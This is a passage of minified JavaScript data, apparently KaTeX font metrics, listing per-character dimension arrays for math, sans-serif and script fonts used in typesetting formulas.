97:[0,.43056,0,0,.5],98:[0,.69444,0,0,.55556],99:[0,.43056,0,0,.44445],100:[0,.69444,0,0,.55556],101:[0,.43056,0,0,.44445],102:[0,.69444,.07778,0,.30556],103:[.19444,.43056,.01389,0,.5],104:[0,.69444,0,0,.55556],105:[0,.66786,0,0,.27778],106:[.19444,.66786,0,0,.30556],107:[0,.69444,0,0,.52778],108:[0,.69444,0,0,.27778],109:[0,.43056,0,0,.83334],110:[0,.43056,0,0,.55556],111:[0,.43056,0,0,.5],112:[.19444,.43056,0,0,.55556],113:[.19444,.43056,0,0,.52778],114:[0,.43056,0,0,.39167],115:[0,.43056,0,0,.39445],116:[0,.61508,0,0,.38889],117:[0,.43056,0,0,.55556],118:[0,.43056,.01389,0,.52778],119:[0,.43056,.01389,0,.72222],120:[0,.43056,0,0,.52778],121:[.19444,.43056,.01389,0,.52778],122:[0,.43056,0,0,.44445],123:[.25,.75,0,0,.5],124:[.25,.75,0,0,.27778],125:[.25,.75,0,0,.5],126:[.35,.31786,0,0,.5],160:[0,0,0,0,.25],163:[0,.69444,0,0,.76909],167:[.19444,.69444,0,0,.44445],168:[0,.66786,0,0,.5],172:[0,.43056,0,0,.66667],176:[0,.69444,0,0,.75],177:[.08333,.58333,0,0,.77778],182:[.19444,.69444,0,0,.61111],184:[.17014,0,0,0,.44445],198:[0,.68333,0,0,.90278],215:[.08333,.58333,0,0,.77778],216:[.04861,.73194,0,0,.77778],223:[0,.69444,0,0,.5],230:[0,.43056,0,0,.72222],247:[.08333,.58333,0,0,.77778],248:[.09722,.52778,0,0,.5],305:[0,.43056,0,0,.27778],338:[0,.68333,0,0,1.01389],339:[0,.43056,0,0,.77778],567:[.19444,.43056,0,0,.30556],710:[0,.69444,0,0,.5],711:[0,.62847,0,0,.5],713:[0,.56778,0,0,.5],714:[0,.69444,0,0,.5],715:[0,.69444,0,0,.5],728:[0,.69444,0,0,.5],729:[0,.66786,0,0,.27778],730:[0,.69444,0,0,.75],732:[0,.66786,0,0,.5],733:[0,.69444,0,0,.5],915:[0,.68333,0,0,.625],916:[0,.68333,0,0,.83334],920:[0,.68333,0,0,.77778],923:[0,.68333,0,0,.69445],926:[0,.68333,0,0,.66667],928:[0,.68333,0,0,.75],931:[0,.68333,0,0,.72222],933:[0,.68333,0,0,.77778],934:[0,.68333,0,0,.72222],936:[0,.68333,0,0,.77778],937:[0,.68333,0,0,.72222],8211:[0,.43056,.02778,0,.5],8212:[0,.43056,.02778,0,1],8216:[0,.69444,0,0,.27778],8217:[0,.69444,0,0,.27778],8220:[0,.69444,0,0,.5],8221:[0,.69444,0,0,.5],8224:[.19444,.69444,0,0,.44445],8225:[.19444,.69444,0,0,.44445],8230:[0,.123,0,0,1.172],8242:[0,.55556,0,0,.275],8407:[0,.71444,.15382,0,.5],8463:[0,.68889,0,0,.54028],8465:[0,.69444,0,0,.72222],8467:[0,.69444,0,.11111,.41667],8472:[.19444,.43056,0,.11111,.63646],8476:[0,.69444,0,0,.72222],8501:[0,.69444,0,0,.61111],8592:[-.13313,.36687,0,0,1],8593:[.19444,.69444,0,0,.5],8594:[-.13313,.36687,0,0,1],8595:[.19444,.69444,0,0,.5],8596:[-.13313,.36687,0,0,1],8597:[.25,.75,0,0,.5],8598:[.19444,.69444,0,0,1],8599:[.19444,.69444,0,0,1],8600:[.19444,.69444,0,0,1],8601:[.19444,.69444,0,0,1],8614:[.011,.511,0,0,1],8617:[.011,.511,0,0,1.126],8618:[.011,.511,0,0,1.126],8636:[-.13313,.36687,0,0,1],8637:[-.13313,.36687,0,0,1],8640:[-.13313,.36687,0,0,1],8641:[-.13313,.36687,0,0,1],8652:[.011,.671,0,0,1],8656:[-.13313,.36687,0,0,1],8657:[.19444,.69444,0,0,.61111],8658:[-.13313,.36687,0,0,1],8659:[.19444,.69444,0,0,.61111],8660:[-.13313,.36687,0,0,1],8661:[.25,.75,0,0,.61111],8704:[0,.69444,0,0,.55556],8706:[0,.69444,.05556,.08334,.5309],8707:[0,.69444,0,0,.55556],8709:[.05556,.75,0,0,.5],8711:[0,.68333,0,0,.83334],8712:[.0391,.5391,0,0,.66667],8715:[.0391,.5391,0,0,.66667],8722:[.08333,.58333,0,0,.77778],8723:[.08333,.58333,0,0,.77778],8725:[.25,.75,0,0,.5],8726:[.25,.75,0,0,.5],8727:[-.03472,.46528,0,0,.5],8728:[-.05555,.44445,0,0,.5],8729:[-.05555,.44445,0,0,.5],8730:[.2,.8,0,0,.83334],8733:[0,.43056,0,0,.77778],8734:[0,.43056,0,0,1],8736:[0,.69224,0,0,.72222],8739:[.25,.75,0,0,.27778],8741:[.25,.75,0,0,.5],8743:[0,.55556,0,0,.66667],8744:[0,.55556,0,0,.66667],8745:[0,.55556,0,0,.66667],8746:[0,.55556,0,0,.66667],8747:[.19444,.69444,.11111,0,.41667],8764:[-.13313,.36687,0,0,.77778],8768:[.19444,.69444,0,0,.27778],8771:[-.03625,.46375,0,0,.77778],8773:[-.022,.589,0,0,.778],8776:[-.01688,.48312,0,0,.77778],8781:[-.03625,.46375,0,0,.77778],8784:[-.133,.673,0,0,.778],8801:[-.03625,.46375,0,0,.77778],8804:[.13597,.63597,0,0,.77778],8805:[.13597,.63597,0,0,.77778],8810:[.0391,.5391,0,0,1],8811:[.0391,.5391,0,0,1],8826:[.0391,.5391,0,0,.77778],8827:[.0391,.5391,0,0,.77778],8834:[.0391,.5391,0,0,.77778],8835:[.0391,.5391,0,0,.77778],8838:[.13597,.63597,0,0,.77778],8839:[.13597,.63597,0,0,.77778],8846:[0,.55556,0,0,.66667],8849:[.13597,.63597,0,0,.77778],8850:[.13597,.63597,0,0,.77778],8851:[0,.55556,0,0,.66667],8852:[0,.55556,0,0,.66667],8853:[.08333,.58333,0,0,.77778],8854:[.08333,.58333,0,0,.77778],8855:[.08333,.58333,0,0,.77778],8856:[.08333,.58333,0,0,.77778],8857:[.08333,.58333,0,0,.77778],8866:[0,.69444,0,0,.61111],8867:[0,.69444,0,0,.61111],8868:[0,.69444,0,0,.77778],8869:[0,.69444,0,0,.77778],8872:[.249,.75,0,0,.867],8900:[-.05555,.44445,0,0,.5],8901:[-.05555,.44445,0,0,.27778],8902:[-.03472,.46528,0,0,.5],8904:[.005,.505,0,0,.9],8942:[.03,.903,0,0,.278],8943:[-.19,.313,0,0,1.172],8945:[-.1,.823,0,0,1.282],8968:[.25,.75,0,0,.44445],8969:[.25,.75,0,0,.44445],8970:[.25,.75,0,0,.44445],8971:[.25,.75,0,0,.44445],8994:[-.14236,.35764,0,0,1],8995:[-.14236,.35764,0,0,1],9136:[.244,.744,0,0,.412],9137:[.244,.745,0,0,.412],9651:[.19444,.69444,0,0,.88889],9657:[-.03472,.46528,0,0,.5],9661:[.19444,.69444,0,0,.88889],9667:[-.03472,.46528,0,0,.5],9711:[.19444,.69444,0,0,1],9824:[.12963,.69444,0,0,.77778],9825:[.12963,.69444,0,0,.77778],9826:[.12963,.69444,0,0,.77778],9827:[.12963,.69444,0,0,.77778],9837:[0,.75,0,0,.38889],9838:[.19444,.69444,0,0,.38889],9839:[.19444,.69444,0,0,.38889],10216:[.25,.75,0,0,.38889],10217:[.25,.75,0,0,.38889],10222:[.244,.744,0,0,.412],10223:[.244,.745,0,0,.412],10229:[.011,.511,0,0,1.609],10230:[.011,.511,0,0,1.638],10231:[.011,.511,0,0,1.859],10232:[.024,.525,0,0,1.609],10233:[.024,.525,0,0,1.638],10234:[.024,.525,0,0,1.858],10236:[.011,.511,0,0,1.638],10815:[0,.68333,0,0,.75],10927:[.13597,.63597,0,0,.77778],10928:[.13597,.63597,0,0,.77778],57376:[.19444,.69444,0,0,0]},"Math-BoldItalic":{32:[0,0,0,0,.25],48:[0,.44444,0,0,.575],49:[0,.44444,0,0,.575],50:[0,.44444,0,0,.575],51:[.19444,.44444,0,0,.575],52:[.19444,.44444,0,0,.575],53:[.19444,.44444,0,0,.575],54:[0,.64444,0,0,.575],55:[.19444,.44444,0,0,.575],56:[0,.64444,0,0,.575],57:[.19444,.44444,0,0,.575],65:[0,.68611,0,0,.86944],66:[0,.68611,.04835,0,.8664],67:[0,.68611,.06979,0,.81694],68:[0,.68611,.03194,0,.93812],69:[0,.68611,.05451,0,.81007],70:[0,.68611,.15972,0,.68889],71:[0,.68611,0,0,.88673],72:[0,.68611,.08229,0,.98229],73:[0,.68611,.07778,0,.51111],74:[0,.68611,.10069,0,.63125],75:[0,.68611,.06979,0,.97118],76:[0,.68611,0,0,.75555],77:[0,.68611,.11424,0,1.14201],78:[0,.68611,.11424,0,.95034],79:[0,.68611,.03194,0,.83666],80:[0,.68611,.15972,0,.72309],81:[.19444,.68611,0,0,.86861],82:[0,.68611,.00421,0,.87235],83:[0,.68611,.05382,0,.69271],84:[0,.68611,.15972,0,.63663],85:[0,.68611,.11424,0,.80027],86:[0,.68611,.25555,0,.67778],87:[0,.68611,.15972,0,1.09305],88:[0,.68611,.07778,0,.94722],89:[0,.68611,.25555,0,.67458],90:[0,.68611,.06979,0,.77257],97:[0,.44444,0,0,.63287],98:[0,.69444,0,0,.52083],99:[0,.44444,0,0,.51342],100:[0,.69444,0,0,.60972],101:[0,.44444,0,0,.55361],102:[.19444,.69444,.11042,0,.56806],103:[.19444,.44444,.03704,0,.5449],104:[0,.69444,0,0,.66759],105:[0,.69326,0,0,.4048],106:[.19444,.69326,.0622,0,.47083],107:[0,.69444,.01852,0,.6037],108:[0,.69444,.0088,0,.34815],109:[0,.44444,0,0,1.0324],110:[0,.44444,0,0,.71296],111:[0,.44444,0,0,.58472],112:[.19444,.44444,0,0,.60092],113:[.19444,.44444,.03704,0,.54213],114:[0,.44444,.03194,0,.5287],115:[0,.44444,0,0,.53125],116:[0,.63492,0,0,.41528],117:[0,.44444,0,0,.68102],118:[0,.44444,.03704,0,.56666],119:[0,.44444,.02778,0,.83148],120:[0,.44444,0,0,.65903],121:[.19444,.44444,.03704,0,.59028],122:[0,.44444,.04213,0,.55509],160:[0,0,0,0,.25],915:[0,.68611,.15972,0,.65694],916:[0,.68611,0,0,.95833],920:[0,.68611,.03194,0,.86722],923:[0,.68611,0,0,.80555],926:[0,.68611,.07458,0,.84125],928:[0,.68611,.08229,0,.98229],931:[0,.68611,.05451,0,.88507],933:[0,.68611,.15972,0,.67083],934:[0,.68611,0,0,.76666],936:[0,.68611,.11653,0,.71402],937:[0,.68611,.04835,0,.8789],945:[0,.44444,0,0,.76064],946:[.19444,.69444,.03403,0,.65972],947:[.19444,.44444,.06389,0,.59003],948:[0,.69444,.03819,0,.52222],949:[0,.44444,0,0,.52882],950:[.19444,.69444,.06215,0,.50833],951:[.19444,.44444,.03704,0,.6],952:[0,.69444,.03194,0,.5618],953:[0,.44444,0,0,.41204],954:[0,.44444,0,0,.66759],955:[0,.69444,0,0,.67083],956:[.19444,.44444,0,0,.70787],957:[0,.44444,.06898,0,.57685],958:[.19444,.69444,.03021,0,.50833],959:[0,.44444,0,0,.58472],960:[0,.44444,.03704,0,.68241],961:[.19444,.44444,0,0,.6118],962:[.09722,.44444,.07917,0,.42361],963:[0,.44444,.03704,0,.68588],964:[0,.44444,.13472,0,.52083],965:[0,.44444,.03704,0,.63055],966:[.19444,.44444,0,0,.74722],967:[.19444,.44444,0,0,.71805],968:[.19444,.69444,.03704,0,.75833],969:[0,.44444,.03704,0,.71782],977:[0,.69444,0,0,.69155],981:[.19444,.69444,0,0,.7125],982:[0,.44444,.03194,0,.975],1009:[.19444,.44444,0,0,.6118],1013:[0,.44444,0,0,.48333],57649:[0,.44444,0,0,.39352],57911:[.19444,.44444,0,0,.43889]},"Math-Italic":{32:[0,0,0,0,.25],48:[0,.43056,0,0,.5],49:[0,.43056,0,0,.5],50:[0,.43056,0,0,.5],51:[.19444,.43056,0,0,.5],52:[.19444,.43056,0,0,.5],53:[.19444,.43056,0,0,.5],54:[0,.64444,0,0,.5],55:[.19444,.43056,0,0,.5],56:[0,.64444,0,0,.5],57:[.19444,.43056,0,0,.5],65:[0,.68333,0,.13889,.75],66:[0,.68333,.05017,.08334,.75851],67:[0,.68333,.07153,.08334,.71472],68:[0,.68333,.02778,.05556,.82792],69:[0,.68333,.05764,.08334,.7382],70:[0,.68333,.13889,.08334,.64306],71:[0,.68333,0,.08334,.78625],72:[0,.68333,.08125,.05556,.83125],73:[0,.68333,.07847,.11111,.43958],74:[0,.68333,.09618,.16667,.55451],75:[0,.68333,.07153,.05556,.84931],76:[0,.68333,0,.02778,.68056],77:[0,.68333,.10903,.08334,.97014],78:[0,.68333,.10903,.08334,.80347],79:[0,.68333,.02778,.08334,.76278],80:[0,.68333,.13889,.08334,.64201],81:[.19444,.68333,0,.08334,.79056],82:[0,.68333,.00773,.08334,.75929],83:[0,.68333,.05764,.08334,.6132],84:[0,.68333,.13889,.08334,.58438],85:[0,.68333,.10903,.02778,.68278],86:[0,.68333,.22222,0,.58333],87:[0,.68333,.13889,0,.94445],88:[0,.68333,.07847,.08334,.82847],89:[0,.68333,.22222,0,.58056],90:[0,.68333,.07153,.08334,.68264],97:[0,.43056,0,0,.52859],98:[0,.69444,0,0,.42917],99:[0,.43056,0,.05556,.43276],100:[0,.69444,0,.16667,.52049],101:[0,.43056,0,.05556,.46563],102:[.19444,.69444,.10764,.16667,.48959],103:[.19444,.43056,.03588,.02778,.47697],104:[0,.69444,0,0,.57616],105:[0,.65952,0,0,.34451],106:[.19444,.65952,.05724,0,.41181],107:[0,.69444,.03148,0,.5206],108:[0,.69444,.01968,.08334,.29838],109:[0,.43056,0,0,.87801],110:[0,.43056,0,0,.60023],111:[0,.43056,0,.05556,.48472],112:[.19444,.43056,0,.08334,.50313],113:[.19444,.43056,.03588,.08334,.44641],114:[0,.43056,.02778,.05556,.45116],115:[0,.43056,0,.05556,.46875],116:[0,.61508,0,.08334,.36111],117:[0,.43056,0,.02778,.57246],118:[0,.43056,.03588,.02778,.48472],119:[0,.43056,.02691,.08334,.71592],120:[0,.43056,0,.02778,.57153],121:[.19444,.43056,.03588,.05556,.49028],122:[0,.43056,.04398,.05556,.46505],160:[0,0,0,0,.25],915:[0,.68333,.13889,.08334,.61528],916:[0,.68333,0,.16667,.83334],920:[0,.68333,.02778,.08334,.76278],923:[0,.68333,0,.16667,.69445],926:[0,.68333,.07569,.08334,.74236],928:[0,.68333,.08125,.05556,.83125],931:[0,.68333,.05764,.08334,.77986],933:[0,.68333,.13889,.05556,.58333],934:[0,.68333,0,.08334,.66667],936:[0,.68333,.11,.05556,.61222],937:[0,.68333,.05017,.08334,.7724],945:[0,.43056,.0037,.02778,.6397],946:[.19444,.69444,.05278,.08334,.56563],947:[.19444,.43056,.05556,0,.51773],948:[0,.69444,.03785,.05556,.44444],949:[0,.43056,0,.08334,.46632],950:[.19444,.69444,.07378,.08334,.4375],951:[.19444,.43056,.03588,.05556,.49653],952:[0,.69444,.02778,.08334,.46944],953:[0,.43056,0,.05556,.35394],954:[0,.43056,0,0,.57616],955:[0,.69444,0,0,.58334],956:[.19444,.43056,0,.02778,.60255],957:[0,.43056,.06366,.02778,.49398],958:[.19444,.69444,.04601,.11111,.4375],959:[0,.43056,0,.05556,.48472],960:[0,.43056,.03588,0,.57003],961:[.19444,.43056,0,.08334,.51702],962:[.09722,.43056,.07986,.08334,.36285],963:[0,.43056,.03588,0,.57141],964:[0,.43056,.1132,.02778,.43715],965:[0,.43056,.03588,.02778,.54028],966:[.19444,.43056,0,.08334,.65417],967:[.19444,.43056,0,.05556,.62569],968:[.19444,.69444,.03588,.11111,.65139],969:[0,.43056,.03588,0,.62245],977:[0,.69444,0,.08334,.59144],981:[.19444,.69444,0,.08334,.59583],982:[0,.43056,.02778,0,.82813],1009:[.19444,.43056,0,.08334,.51702],1013:[0,.43056,0,.05556,.4059],57649:[0,.43056,0,.02778,.32246],57911:[.19444,.43056,0,.08334,.38403]},"SansSerif-Bold":{32:[0,0,0,0,.25],33:[0,.69444,0,0,.36667],34:[0,.69444,0,0,.55834],35:[.19444,.69444,0,0,.91667],36:[.05556,.75,0,0,.55],37:[.05556,.75,0,0,1.02912],38:[0,.69444,0,0,.83056],39:[0,.69444,0,0,.30556],40:[.25,.75,0,0,.42778],41:[.25,.75,0,0,.42778],42:[0,.75,0,0,.55],43:[.11667,.61667,0,0,.85556],44:[.10556,.13056,0,0,.30556],45:[0,.45833,0,0,.36667],46:[0,.13056,0,0,.30556],47:[.25,.75,0,0,.55],48:[0,.69444,0,0,.55],49:[0,.69444,0,0,.55],50:[0,.69444,0,0,.55],51:[0,.69444,0,0,.55],52:[0,.69444,0,0,.55],53:[0,.69444,0,0,.55],54:[0,.69444,0,0,.55],55:[0,.69444,0,0,.55],56:[0,.69444,0,0,.55],57:[0,.69444,0,0,.55],58:[0,.45833,0,0,.30556],59:[.10556,.45833,0,0,.30556],61:[-.09375,.40625,0,0,.85556],63:[0,.69444,0,0,.51945],64:[0,.69444,0,0,.73334],65:[0,.69444,0,0,.73334],66:[0,.69444,0,0,.73334],67:[0,.69444,0,0,.70278],68:[0,.69444,0,0,.79445],69:[0,.69444,0,0,.64167],70:[0,.69444,0,0,.61111],71:[0,.69444,0,0,.73334],72:[0,.69444,0,0,.79445],73:[0,.69444,0,0,.33056],74:[0,.69444,0,0,.51945],75:[0,.69444,0,0,.76389],76:[0,.69444,0,0,.58056],77:[0,.69444,0,0,.97778],78:[0,.69444,0,0,.79445],79:[0,.69444,0,0,.79445],80:[0,.69444,0,0,.70278],81:[.10556,.69444,0,0,.79445],82:[0,.69444,0,0,.70278],83:[0,.69444,0,0,.61111],84:[0,.69444,0,0,.73334],85:[0,.69444,0,0,.76389],86:[0,.69444,.01528,0,.73334],87:[0,.69444,.01528,0,1.03889],88:[0,.69444,0,0,.73334],89:[0,.69444,.0275,0,.73334],90:[0,.69444,0,0,.67223],91:[.25,.75,0,0,.34306],93:[.25,.75,0,0,.34306],94:[0,.69444,0,0,.55],95:[.35,.10833,.03056,0,.55],97:[0,.45833,0,0,.525],98:[0,.69444,0,0,.56111],99:[0,.45833,0,0,.48889],100:[0,.69444,0,0,.56111],101:[0,.45833,0,0,.51111],102:[0,.69444,.07639,0,.33611],103:[.19444,.45833,.01528,0,.55],104:[0,.69444,0,0,.56111],105:[0,.69444,0,0,.25556],106:[.19444,.69444,0,0,.28611],107:[0,.69444,0,0,.53056],108:[0,.69444,0,0,.25556],109:[0,.45833,0,0,.86667],110:[0,.45833,0,0,.56111],111:[0,.45833,0,0,.55],112:[.19444,.45833,0,0,.56111],113:[.19444,.45833,0,0,.56111],114:[0,.45833,.01528,0,.37222],115:[0,.45833,0,0,.42167],116:[0,.58929,0,0,.40417],117:[0,.45833,0,0,.56111],118:[0,.45833,.01528,0,.5],119:[0,.45833,.01528,0,.74445],120:[0,.45833,0,0,.5],121:[.19444,.45833,.01528,0,.5],122:[0,.45833,0,0,.47639],126:[.35,.34444,0,0,.55],160:[0,0,0,0,.25],168:[0,.69444,0,0,.55],176:[0,.69444,0,0,.73334],180:[0,.69444,0,0,.55],184:[.17014,0,0,0,.48889],305:[0,.45833,0,0,.25556],567:[.19444,.45833,0,0,.28611],710:[0,.69444,0,0,.55],711:[0,.63542,0,0,.55],713:[0,.63778,0,0,.55],728:[0,.69444,0,0,.55],729:[0,.69444,0,0,.30556],730:[0,.69444,0,0,.73334],732:[0,.69444,0,0,.55],733:[0,.69444,0,0,.55],915:[0,.69444,0,0,.58056],916:[0,.69444,0,0,.91667],920:[0,.69444,0,0,.85556],923:[0,.69444,0,0,.67223],926:[0,.69444,0,0,.73334],928:[0,.69444,0,0,.79445],931:[0,.69444,0,0,.79445],933:[0,.69444,0,0,.85556],934:[0,.69444,0,0,.79445],936:[0,.69444,0,0,.85556],937:[0,.69444,0,0,.79445],8211:[0,.45833,.03056,0,.55],8212:[0,.45833,.03056,0,1.10001],8216:[0,.69444,0,0,.30556],8217:[0,.69444,0,0,.30556],8220:[0,.69444,0,0,.55834],8221:[0,.69444,0,0,.55834]},"SansSerif-Italic":{32:[0,0,0,0,.25],33:[0,.69444,.05733,0,.31945],34:[0,.69444,.00316,0,.5],35:[.19444,.69444,.05087,0,.83334],36:[.05556,.75,.11156,0,.5],37:[.05556,.75,.03126,0,.83334],38:[0,.69444,.03058,0,.75834],39:[0,.69444,.07816,0,.27778],40:[.25,.75,.13164,0,.38889],41:[.25,.75,.02536,0,.38889],42:[0,.75,.11775,0,.5],43:[.08333,.58333,.02536,0,.77778],44:[.125,.08333,0,0,.27778],45:[0,.44444,.01946,0,.33333],46:[0,.08333,0,0,.27778],47:[.25,.75,.13164,0,.5],48:[0,.65556,.11156,0,.5],49:[0,.65556,.11156,0,.5],50:[0,.65556,.11156,0,.5],51:[0,.65556,.11156,0,.5],52:[0,.65556,.11156,0,.5],53:[0,.65556,.11156,0,.5],54:[0,.65556,.11156,0,.5],55:[0,.65556,.11156,0,.5],56:[0,.65556,.11156,0,.5],57:[0,.65556,.11156,0,.5],58:[0,.44444,.02502,0,.27778],59:[.125,.44444,.02502,0,.27778],61:[-.13,.37,.05087,0,.77778],63:[0,.69444,.11809,0,.47222],64:[0,.69444,.07555,0,.66667],65:[0,.69444,0,0,.66667],66:[0,.69444,.08293,0,.66667],67:[0,.69444,.11983,0,.63889],68:[0,.69444,.07555,0,.72223],69:[0,.69444,.11983,0,.59722],70:[0,.69444,.13372,0,.56945],71:[0,.69444,.11983,0,.66667],72:[0,.69444,.08094,0,.70834],73:[0,.69444,.13372,0,.27778],74:[0,.69444,.08094,0,.47222],75:[0,.69444,.11983,0,.69445],76:[0,.69444,0,0,.54167],77:[0,.69444,.08094,0,.875],78:[0,.69444,.08094,0,.70834],79:[0,.69444,.07555,0,.73611],80:[0,.69444,.08293,0,.63889],81:[.125,.69444,.07555,0,.73611],82:[0,.69444,.08293,0,.64584],83:[0,.69444,.09205,0,.55556],84:[0,.69444,.13372,0,.68056],85:[0,.69444,.08094,0,.6875],86:[0,.69444,.1615,0,.66667],87:[0,.69444,.1615,0,.94445],88:[0,.69444,.13372,0,.66667],89:[0,.69444,.17261,0,.66667],90:[0,.69444,.11983,0,.61111],91:[.25,.75,.15942,0,.28889],93:[.25,.75,.08719,0,.28889],94:[0,.69444,.0799,0,.5],95:[.35,.09444,.08616,0,.5],97:[0,.44444,.00981,0,.48056],98:[0,.69444,.03057,0,.51667],99:[0,.44444,.08336,0,.44445],100:[0,.69444,.09483,0,.51667],101:[0,.44444,.06778,0,.44445],102:[0,.69444,.21705,0,.30556],103:[.19444,.44444,.10836,0,.5],104:[0,.69444,.01778,0,.51667],105:[0,.67937,.09718,0,.23889],106:[.19444,.67937,.09162,0,.26667],107:[0,.69444,.08336,0,.48889],108:[0,.69444,.09483,0,.23889],109:[0,.44444,.01778,0,.79445],110:[0,.44444,.01778,0,.51667],111:[0,.44444,.06613,0,.5],112:[.19444,.44444,.0389,0,.51667],113:[.19444,.44444,.04169,0,.51667],114:[0,.44444,.10836,0,.34167],115:[0,.44444,.0778,0,.38333],116:[0,.57143,.07225,0,.36111],117:[0,.44444,.04169,0,.51667],118:[0,.44444,.10836,0,.46111],119:[0,.44444,.10836,0,.68334],120:[0,.44444,.09169,0,.46111],121:[.19444,.44444,.10836,0,.46111],122:[0,.44444,.08752,0,.43472],126:[.35,.32659,.08826,0,.5],160:[0,0,0,0,.25],168:[0,.67937,.06385,0,.5],176:[0,.69444,0,0,.73752],184:[.17014,0,0,0,.44445],305:[0,.44444,.04169,0,.23889],567:[.19444,.44444,.04169,0,.26667],710:[0,.69444,.0799,0,.5],711:[0,.63194,.08432,0,.5],713:[0,.60889,.08776,0,.5],714:[0,.69444,.09205,0,.5],715:[0,.69444,0,0,.5],728:[0,.69444,.09483,0,.5],729:[0,.67937,.07774,0,.27778],730:[0,.69444,0,0,.73752],732:[0,.67659,.08826,0,.5],733:[0,.69444,.09205,0,.5],915:[0,.69444,.13372,0,.54167],916:[0,.69444,0,0,.83334],920:[0,.69444,.07555,0,.77778],923:[0,.69444,0,0,.61111],926:[0,.69444,.12816,0,.66667],928:[0,.69444,.08094,0,.70834],931:[0,.69444,.11983,0,.72222],933:[0,.69444,.09031,0,.77778],934:[0,.69444,.04603,0,.72222],936:[0,.69444,.09031,0,.77778],937:[0,.69444,.08293,0,.72222],8211:[0,.44444,.08616,0,.5],8212:[0,.44444,.08616,0,1],8216:[0,.69444,.07816,0,.27778],8217:[0,.69444,.07816,0,.27778],8220:[0,.69444,.14205,0,.5],8221:[0,.69444,.00316,0,.5]},"SansSerif-Regular":{32:[0,0,0,0,.25],33:[0,.69444,0,0,.31945],34:[0,.69444,0,0,.5],35:[.19444,.69444,0,0,.83334],36:[.05556,.75,0,0,.5],37:[.05556,.75,0,0,.83334],38:[0,.69444,0,0,.75834],39:[0,.69444,0,0,.27778],40:[.25,.75,0,0,.38889],41:[.25,.75,0,0,.38889],42:[0,.75,0,0,.5],43:[.08333,.58333,0,0,.77778],44:[.125,.08333,0,0,.27778],45:[0,.44444,0,0,.33333],46:[0,.08333,0,0,.27778],47:[.25,.75,0,0,.5],48:[0,.65556,0,0,.5],49:[0,.65556,0,0,.5],50:[0,.65556,0,0,.5],51:[0,.65556,0,0,.5],52:[0,.65556,0,0,.5],53:[0,.65556,0,0,.5],54:[0,.65556,0,0,.5],55:[0,.65556,0,0,.5],56:[0,.65556,0,0,.5],57:[0,.65556,0,0,.5],58:[0,.44444,0,0,.27778],59:[.125,.44444,0,0,.27778],61:[-.13,.37,0,0,.77778],63:[0,.69444,0,0,.47222],64:[0,.69444,0,0,.66667],65:[0,.69444,0,0,.66667],66:[0,.69444,0,0,.66667],67:[0,.69444,0,0,.63889],68:[0,.69444,0,0,.72223],69:[0,.69444,0,0,.59722],70:[0,.69444,0,0,.56945],71:[0,.69444,0,0,.66667],72:[0,.69444,0,0,.70834],73:[0,.69444,0,0,.27778],74:[0,.69444,0,0,.47222],75:[0,.69444,0,0,.69445],76:[0,.69444,0,0,.54167],77:[0,.69444,0,0,.875],78:[0,.69444,0,0,.70834],79:[0,.69444,0,0,.73611],80:[0,.69444,0,0,.63889],81:[.125,.69444,0,0,.73611],82:[0,.69444,0,0,.64584],83:[0,.69444,0,0,.55556],84:[0,.69444,0,0,.68056],85:[0,.69444,0,0,.6875],86:[0,.69444,.01389,0,.66667],87:[0,.69444,.01389,0,.94445],88:[0,.69444,0,0,.66667],89:[0,.69444,.025,0,.66667],90:[0,.69444,0,0,.61111],91:[.25,.75,0,0,.28889],93:[.25,.75,0,0,.28889],94:[0,.69444,0,0,.5],95:[.35,.09444,.02778,0,.5],97:[0,.44444,0,0,.48056],98:[0,.69444,0,0,.51667],99:[0,.44444,0,0,.44445],100:[0,.69444,0,0,.51667],101:[0,.44444,0,0,.44445],102:[0,.69444,.06944,0,.30556],103:[.19444,.44444,.01389,0,.5],104:[0,.69444,0,0,.51667],105:[0,.67937,0,0,.23889],106:[.19444,.67937,0,0,.26667],107:[0,.69444,0,0,.48889],108:[0,.69444,0,0,.23889],109:[0,.44444,0,0,.79445],110:[0,.44444,0,0,.51667],111:[0,.44444,0,0,.5],112:[.19444,.44444,0,0,.51667],113:[.19444,.44444,0,0,.51667],114:[0,.44444,.01389,0,.34167],115:[0,.44444,0,0,.38333],116:[0,.57143,0,0,.36111],117:[0,.44444,0,0,.51667],118:[0,.44444,.01389,0,.46111],119:[0,.44444,.01389,0,.68334],120:[0,.44444,0,0,.46111],121:[.19444,.44444,.01389,0,.46111],122:[0,.44444,0,0,.43472],126:[.35,.32659,0,0,.5],160:[0,0,0,0,.25],168:[0,.67937,0,0,.5],176:[0,.69444,0,0,.66667],184:[.17014,0,0,0,.44445],305:[0,.44444,0,0,.23889],567:[.19444,.44444,0,0,.26667],710:[0,.69444,0,0,.5],711:[0,.63194,0,0,.5],713:[0,.60889,0,0,.5],714:[0,.69444,0,0,.5],715:[0,.69444,0,0,.5],728:[0,.69444,0,0,.5],729:[0,.67937,0,0,.27778],730:[0,.69444,0,0,.66667],732:[0,.67659,0,0,.5],733:[0,.69444,0,0,.5],915:[0,.69444,0,0,.54167],916:[0,.69444,0,0,.83334],920:[0,.69444,0,0,.77778],923:[0,.69444,0,0,.61111],926:[0,.69444,0,0,.66667],928:[0,.69444,0,0,.70834],931:[0,.69444,0,0,.72222],933:[0,.69444,0,0,.77778],934:[0,.69444,0,0,.72222],936:[0,.69444,0,0,.77778],937:[0,.69444,0,0,.72222],8211:[0,.44444,.02778,0,.5],8212:[0,.44444,.02778,0,1],8216:[0,.69444,0,0,.27778],8217:[0,.69444,0,0,.27778],8220:[0,.69444,0,0,.5],8221:[0,.69444,0,0,.5]},"Script-Regular":{32:[0,0,0,0,.25],65:[0,.7,.22925,0,.80253],66:[0,.7,.04087,0,.90757],67:[0,.7,.1689,0,.66619],68:[0,.7,.09371,0,.77443],69:[0,.7,.18583,0,.56162],70:[0,.7,.13634,0,.89544],71:[0,.7,.17322,0,.60961],72:[0,.7,.29694,0,.96919],73:[0,.7,.19189,0,.80907],74:[.27778,.7,.19189,0,1.05159],75:[0,.7,.31259,0,.91364],76:[0,.7,.19189,0,.87373],77:[0,.7,.15981,0,1.08031],78:[0,.7,.3525,0,.9015],79:[0,.7,.08078,0,.73787],80:[0,.7,.08078,0,1.01262],81:[0,.7,.03305,0,.88282],82:[0,.7,.06259,0,.85],83:[0,.7,.19189,0,.86767],84:[0,.7,.29087,0,.74697],85:[0,.7,.25815,0,.79996],86:[0,.7,.27523,0,.62204],87:[0,.7,.27523,0,.80532],88:[0,.7,.26006,0,.94445],89:[0,.7,.2939,0,.70961],90:[0,.7,.24037,0,.8212],160:[0,0,0,0,.25]},"Size1-Regular":{32:[0,0,0,0,.25],40:[.35001,.85,0,0,.45834],41:[.35001,.85,0,0,.45834],47